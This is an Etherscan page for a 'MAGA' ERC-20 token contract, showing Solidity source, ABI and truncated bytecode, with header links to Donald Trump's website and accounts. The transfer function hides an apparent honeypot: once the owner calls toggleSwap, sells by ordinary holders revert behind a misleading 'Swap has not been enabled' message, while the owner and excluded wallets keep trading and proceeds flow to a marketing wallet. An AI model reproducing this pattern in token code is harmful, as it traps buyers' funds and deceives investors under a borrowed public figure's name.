ERC-20
Overview
Max Total Supply
1,000,000,000 MAGA
Holders
25
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
23,097,960.917605289113619837 MAGAValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
MAGA
Compiler Version
v0.8.16+commit.07a7930e
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-05-22 */ // SPDX-License-Identifier: NONE /* http://www.donaldjtrump.com/ https://twitter.com/realDonaldTrump https://t.me/realDonaldTrump */ pragma solidity ^0.8.16; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) {return a * b;} function div(uint256 a, uint256 b) internal pure returns (uint256) {return a / b;} function sub(uint256 a, uint256 b) internal pure returns (uint256) {return a - b;} } abstract contract Context { function _msgSender() internal view virtual returns (address) {return msg.sender;} } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); } modifier onlyOwner() { _checkOwner(); _; } function owner() public view virtual returns (address) { return _owner; } function _checkOwner() internal view virtual { require(owner() == _msgSender(), "Ownable: caller is not the owner"); } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IERC20 { event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address to, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address from, address to, uint256 amount) external returns (bool); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 18; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address to, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _transfer(owner, to, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _approve(owner, spender, amount); return true; } function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true; } function _transfer(address from, address to, uint256 amount) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(from, to, amount); uint256 fromBalance = _balances[from]; require(fromBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[from] = fromBalance - amount; // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by // decrementing then incrementing. _balances[to] += amount; } emit Transfer(from, to, amount); _afterTokenTransfer(from, to, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; unchecked { // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above. _balances[account] += amount; } emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _spendAllowance(address owner, address spender, uint256 amount) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require(currentAllowance >= amount, "ERC20: insufficient allowance"); unchecked { _approve(owner, spender, currentAllowance - amount); } } } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {} function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {} } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function factory() external pure returns (address); function WETH() external pure returns (address); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; } contract MAGA is ERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; address private constant DEAD = address(0xdead); address private constant ZERO = address(0); string private _name = "Make America Great Again"; string private _symbol = "MAGA"; bool private swapping; uint256 public buyFee; uint256 public sellFee; uint256 public maxTransactionAmount; uint256 public maxWallet; mapping(address => bool) private isExcludedFromFees; mapping(address => bool) private isExcludedMaxTransactionAmount; uint256 public swapTokensAtAmount; bool public tradingEnabled = false; bool public swapEnabled = false; bool public limitsInEffect = true; address public marketingWallet; mapping(address => bool) private pairs; constructor() ERC20(_name, _symbol) { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; excludeFromMaxTransactionAmount(address(_uniswapV2Router), true); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); pairs[address(uniswapV2Pair)] = true; excludeFromMaxTransactionAmount(address(uniswapV2Pair), true); uint256 totalSupply = 1000000000 * 10**decimals(); maxTransactionAmount = totalSupply; maxWallet = totalSupply; swapTokensAtAmount = totalSupply.mul(1).div(1000); marketingWallet = address(0xAB825be6CC38d6bcC120905d6ff446c64FC34F21); buyFee = 0; sellFee = 0; excludeFromFees(owner(), true); excludeFromFees(address(this), true); excludeFromFees(marketingWallet, true); excludeFromMaxTransactionAmount(owner(), true); excludeFromMaxTransactionAmount(address(this), true); excludeFromMaxTransactionAmount(DEAD, true); excludeFromMaxTransactionAmount(marketingWallet, true); _mint(_msgSender(), totalSupply.mul(100).div(100)); } receive() external payable {} function removeLimits() external onlyOwner { require(limitsInEffect == true, "The limits has been removed."); limitsInEffect = false; } function excludeFromMaxTransactionAmount(address _address, bool excluded) public onlyOwner { isExcludedMaxTransactionAmount[_address] = excluded; } function excludeFromFees(address _address, bool excluded) public onlyOwner { isExcludedFromFees[_address] = excluded; } function _transfer(address from, address to, uint256 amount) internal override { require(from != ZERO, "ERC20: transfer from the zero address."); require(to != DEAD, "ERC20: transfer to the zero address."); require(amount > 0, "ERC20: transfer amount must be greater than zero."); if (from != owner() && to != owner() && to != ZERO && to != DEAD && !swapping) { if (!tradingEnabled) { require(isExcludedFromFees[from] || isExcludedFromFees[to], "Trading is not active."); } if (limitsInEffect) { if (pairs[from] && !isExcludedMaxTransactionAmount[to]) { require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the max transaction amount."); require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded."); } else if (pairs[to] && !isExcludedMaxTransactionAmount[from]) { require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the max transaction amount."); require(!swapEnabled, "Swap has not been enabled."); } else if (!isExcludedMaxTransactionAmount[to]) { require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded."); } } } bool canSwap = balanceOf(address(this)) >= swapTokensAtAmount; if ( canSwap && swapEnabled && !swapping && !pairs[from] && !isExcludedFromFees[from] && !isExcludedFromFees[to] ) { swapping = true; swapBack(false); swapping = false; } bool takeFee = !swapping; if (isExcludedFromFees[from] || isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; if (takeFee) { if(pairs[to] || pairs[from]) { fees = amount.mul(buyFee).div(100); } if (pairs[to] && buyFee > 0) { fees = amount.mul(buyFee).div(100); } else if (pairs[from] && sellFee > 0) { fees = amount.mul(sellFee).div(100); } if (fees > 0) { super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function openTrading() external onlyOwner { require(!tradingEnabled, "Trading is already open"); tradingEnabled = true; } function swapTokensForEth(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function swapBack(bool _manualSwap) private { uint256 contractBalance = balanceOf(address(this)); bool success; if (contractBalance == 0) { return; } if (_manualSwap == false && contractBalance > swapTokensAtAmount * 20) { contractBalance = swapTokensAtAmount * 20; } swapTokensForEth(contractBalance); (success, ) = address(marketingWallet).call{value: address(this).balance}(""); } function toggleSwap() external onlyOwner { swapEnabled = !swapEnabled; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromMaxTransactionAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"limitsInEffect","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"toggleSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526040518060400160405280601881526020017f4d616b6520416d657269636120477265617420416761696e0000000000000000815250600890816200004a919062000e13565b506040518060400160405280600481526020017f4d414741000000000000000000000000000000000000000000000000000000008152506009908162000091919062000e13565b506000601260006101000a81548160ff0219169083151502179055506000601260016101000a81548160ff0219169083151502179055506001601260026101000a81548160ff021916908315150217905550348015620000f057600080fd5b5060088054620001009062000c02565b80601f01602080910402602001604051908101604052809291908181526020018280546200012e9062000c02565b80156200017f5780601f1062000153576101008083540402835291602001916200017f565b820191906000526020600020905b8154815290600101906020018083116200016157829003601f168201915b505050505060098054620001939062000c02565b80601f0160208091040260200160405190810160405280929190818152602001828054620001c19062000c02565b8015620002125780601f10620001e65761010080835404028352916020019162000212565b820191906000526020600020905b815481529060010190602001808311620001f457829003601f168201915b5050505050816003908162000228919062000e13565b5080600490816200023a919062000e13565b5050506200025d620002516200078a60201b60201c565b6200079260201b60201c565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620002ca8160016200085860201b60201c565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000338573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200035e919062000f64565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620003e8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200040e919062000f64565b6040518363ffffffff1660e01b81526004016200042d92919062000fa7565b6020604051808303816000875af11580156200044d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000473919062000f64565b600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160136000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555062000562600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660016200085860201b60201c565b600062000574620008c360201b60201c565b600a62000582919062001164565b633b9aca00620005939190620011b5565b905080600d8190555080600e81905550620005d96103e8620005c5600184620008cc60201b62000ba71790919060201c565b620008e460201b62000bbd1790919060201c565b60118190555073ab825be6cc38d6bcc120905d6ff446c64fc34f21601260036101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600b819055506000600c819055506200066662000658620008fc60201b60201c565b60016200092660201b60201c565b620006793060016200092660201b60201c565b620006ae601260039054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660016200092660201b60201c565b620006d0620006c2620008fc60201b60201c565b60016200085860201b60201c565b620006e33060016200085860201b60201c565b620006f861dead60016200085860201b60201c565b6200072d601260039054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660016200085860201b60201c565b62000782620007416200078a60201b60201c565b62000776606462000762606486620008cc60201b62000ba71790919060201c565b620008e460201b62000bbd1790919060201c565b6200099160201b60201c565b5050620013db565b600033905090565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6200086862000afe60201b60201c565b80601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60006012905090565b60008183620008dc9190620011b5565b905092915050565b60008183620008f4919062001245565b905092915050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6200093662000afe60201b60201c565b80600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000a03576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620009fa90620012de565b60405180910390fd5b62000a176000838362000b8f60201b60201c565b806002600082825462000a2b919062001300565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000ade91906200134c565b60405180910390a362000afa6000838362000b9460201b60201c565b5050565b62000b0e6200078a60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1662000b34620008fc60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff161462000b8d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000b8490620013b9565b60405180910390fd5b565b505050565b505050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000c1b57607f821691505b60208210810362000c315762000c3062000bd3565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b60006008830262000c9b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000c5c565b62000ca7868362000c5c565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b600062000cf462000cee62000ce88462000cbf565b62000cc9565b62000cbf565b9050919050565b6000819050919050565b62000d108362000cd3565b62000d2862000d1f8262000cfb565b84845462000c69565b825550505050565b600090565b62000d3f62000d30565b62000d4c81848462000d05565b505050565b5b8181101562000d745762000d6860008262000d35565b60018101905062000d52565b5050565b601f82111562000dc35762000d8d8162000c37565b62000d988462000c4c565b8101602085101562000da8578190505b62000dc062000db78562000c4c565b83018262000d51565b50505b505050565b600082821c905092915050565b600062000de86000198460080262000dc8565b1980831691505092915050565b600062000e03838362000dd5565b9150826002028217905092915050565b62000e1e8262000b99565b67ffffffffffffffff81111562000e3a5762000e3962000ba4565b5b62000e46825462000c02565b62000e5382828562000d78565b600060209050601f83116001811462000e8b576000841562000e76578287015190505b62000e82858262000df5565b86555062000ef2565b601f19841662000e9b8662000c37565b60005b8281101562000ec55784890151825560018201915060208501945060208101905062000e9e565b8683101562000ee5578489015162000ee1601f89168262000dd5565b8355505b6001600288020188555050505b505050505050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000f2c8262000eff565b9050919050565b62000f3e8162000f1f565b811462000f4a57600080fd5b50565b60008151905062000f5e8162000f33565b92915050565b60006020828403121562000f7d5762000f7c62000efa565b5b600062000f8d8482850162000f4d565b91505092915050565b62000fa18162000f1f565b82525050565b600060408201905062000fbe600083018562000f96565b62000fcd602083018462000f96565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562001062578086048111156200103a576200103962000fd4565b5b60018516156200104a5780820291505b80810290506200105a8562001003565b94506200101a565b94509492505050565b6000826200107d576001905062001150565b816200108d576000905062001150565b8160018114620010a65760028114620010b157620010e7565b600191505062001150565b60ff841115620010c657620010c562000fd4565b5b8360020a915084821115620010e057620010df62000fd4565b5b5062001150565b5060208310610133831016604e8410600b8410161715620011215782820a9050838111156200111b576200111a62000fd4565b5b62001150565b62001130848484600162001010565b925090508184048111156200114a576200114962000fd4565b5b81810290505b9392505050565b600060ff82169050919050565b6000620011718262000cbf565b91506200117e8362001157565b9250620011ad7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200106b565b905092915050565b6000620011c28262000cbf565b9150620011cf8362000cbf565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156200120b576200120a62000fd4565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000620012528262000cbf565b91506200125f8362000cbf565b92508262001272576200127162001216565b5b828204905092915050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b6000620012c6601f836200127d565b9150620012d3826200128e565b602082019050919050565b60006020820190508181036000830152620012f981620012b7565b9050919050565b60006200130d8262000cbf565b91506200131a8362000cbf565b925082820190508082111562001335576200133462000fd4565b5b92915050565b620013468162000cbf565b82525050565b60006020820190506200136360008301846200133b565b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000620013a16020836200127d565b9150620013ae8262001369565b602082019050919050565b60006020820190508181036000830152620013d48162001392565b9050919050565b6130c780620013eb6000396000f3fe6080604052600436106101a05760003560e01c80636ddd1713116100ec578063a9059cbb1161008a578063c9567bf911610064578063c9567bf914610591578063dd62ed3e146105a8578063e2f45605146105e5578063f8b45b0514610610576101a7565b8063a9059cbb14610500578063c02466681461053d578063c8c8ebe414610566576101a7565b8063751039fc116100c6578063751039fc1461046857806375f0a8741461047f5780638da5cb5b146104aa57806395d89b41146104d5576101a7565b80636ddd1713146103e957806370a0823114610414578063715018a614610451576101a7565b80632ae2f121116101595780634706240211610133578063470624021461033d57806349bd5a5e146103685780634a62bb65146103935780634ada218b146103be576101a7565b80632ae2f121146102be5780632b14ca56146102e7578063313ce56714610312576101a7565b806306fdde03146101ac578063095ea7b3146101d75780631694505e1461021457806318160ddd1461023f5780631ff8d5071461026a57806323b872dd14610281576101a7565b366101a757005b600080fd5b3480156101b857600080fd5b506101c161063b565b6040516101ce919061209d565b60405180910390f35b3480156101e357600080fd5b506101fe60048036038101906101f99190612158565b6106cd565b60405161020b91906121b3565b60405180910390f35b34801561022057600080fd5b506102296106f0565b604051610236919061222d565b60405180910390f35b34801561024b57600080fd5b50610254610716565b6040516102619190612257565b60405180910390f35b34801561027657600080fd5b5061027f610720565b005b34801561028d57600080fd5b506102a860048036038101906102a39190612272565b610754565b6040516102b591906121b3565b60405180910390f35b3480156102ca57600080fd5b506102e560048036038101906102e091906122f1565b610783565b005b3480156102f357600080fd5b506102fc6107e6565b6040516103099190612257565b60405180910390f35b34801561031e57600080fd5b506103276107ec565b604051610334919061234d565b60405180910390f35b34801561034957600080fd5b506103526107f5565b60405161035f9190612257565b60405180910390f35b34801561037457600080fd5b5061037d6107fb565b60405161038a9190612377565b60405180910390f35b34801561039f57600080fd5b506103a8610821565b6040516103b591906121b3565b60405180910390f35b3480156103ca57600080fd5b506103d3610834565b6040516103e091906121b3565b60405180910390f35b3480156103f557600080fd5b506103fe610847565b60405161040b91906121b3565b60405180910390f35b34801561042057600080fd5b5061043b60048036038101906104369190612392565b61085a565b6040516104489190612257565b60405180910390f35b34801561045d57600080fd5b506104666108a2565b005b34801561047457600080fd5b5061047d6108b6565b005b34801561048b57600080fd5b50610494610931565b6040516104a19190612377565b60405180910390f35b3480156104b657600080fd5b506104bf610957565b6040516104cc9190612377565b60405180910390f35b3480156104e157600080fd5b506104ea610981565b6040516104f7919061209d565b60405180910390f35b34801561050c57600080fd5b5061052760048036038101906105229190612158565b610a13565b60405161053491906121b3565b60405180910390f35b34801561054957600080fd5b50610564600480360381019061055f91906122f1565b610a36565b005b34801561057257600080fd5b5061057b610a99565b6040516105889190612257565b60405180910390f35b34801561059d57600080fd5b506105a6610a9f565b005b3480156105b457600080fd5b506105cf60048036038101906105ca91906123bf565b610b14565b6040516105dc9190612257565b60405180910390f35b3480156105f157600080fd5b506105fa610b9b565b6040516106079190612257565b60405180910390f35b34801561061c57600080fd5b50610625610ba1565b6040516106329190612257565b60405180910390f35b60606003805461064a9061242e565b80601f01602080910402602001604051908101604052809291908181526020018280546106769061242e565b80156106c35780601f10610698576101008083540402835291602001916106c3565b820191906000526020600020905b8154815290600101906020018083116106a657829003601f168201915b5050505050905090565b6000806106d8610bd3565b90506106e5818585610bdb565b600191505092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600254905090565b610728610da4565b601260019054906101000a900460ff1615601260016101000a81548160ff021916908315150217905550565b60008061075f610bd3565b905061076c858285610e22565b610777858585610eae565b60019150509392505050565b61078b610da4565b80601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600c5481565b60006012905090565b600b5481565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601260029054906101000a900460ff1681565b601260009054906101000a900460ff1681565b601260019054906101000a900460ff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6108aa610da4565b6108b46000611992565b565b6108be610da4565b60011515601260029054906101000a900460ff16151514610914576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161090b906124ab565b60405180910390fd5b6000601260026101000a81548160ff021916908315150217905550565b601260039054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600480546109909061242e565b80601f01602080910402602001604051908101604052809291908181526020018280546109bc9061242e565b8015610a095780601f106109de57610100808354040283529160200191610a09565b820191906000526020600020905b8154815290600101906020018083116109ec57829003601f168201915b5050505050905090565b600080610a1e610bd3565b9050610a2b818585610eae565b600191505092915050565b610a3e610da4565b80600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600d5481565b610aa7610da4565b601260009054906101000a900460ff1615610af7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aee90612517565b60405180910390fd5b6001601260006101000a81548160ff021916908315150217905550565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60115481565b600e5481565b60008183610bb59190612566565b905092915050565b60008183610bcb91906125ef565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610c4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c4190612692565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610cb9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cb090612724565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610d979190612257565b60405180910390a3505050565b610dac610bd3565b73ffffffffffffffffffffffffffffffffffffffff16610dca610957565b73ffffffffffffffffffffffffffffffffffffffff1614610e20576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e1790612790565b60405180910390fd5b565b6000610e2e8484610b14565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610ea85781811015610e9a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e91906127fc565b60405180910390fd5b610ea78484848403610bdb565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f1d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f149061288e565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f8d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8490612920565b60405180910390fd5b60008111610fd0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fc7906129b2565b60405180910390fd5b610fd8610957565b73fffffffffffffffffffffffffffff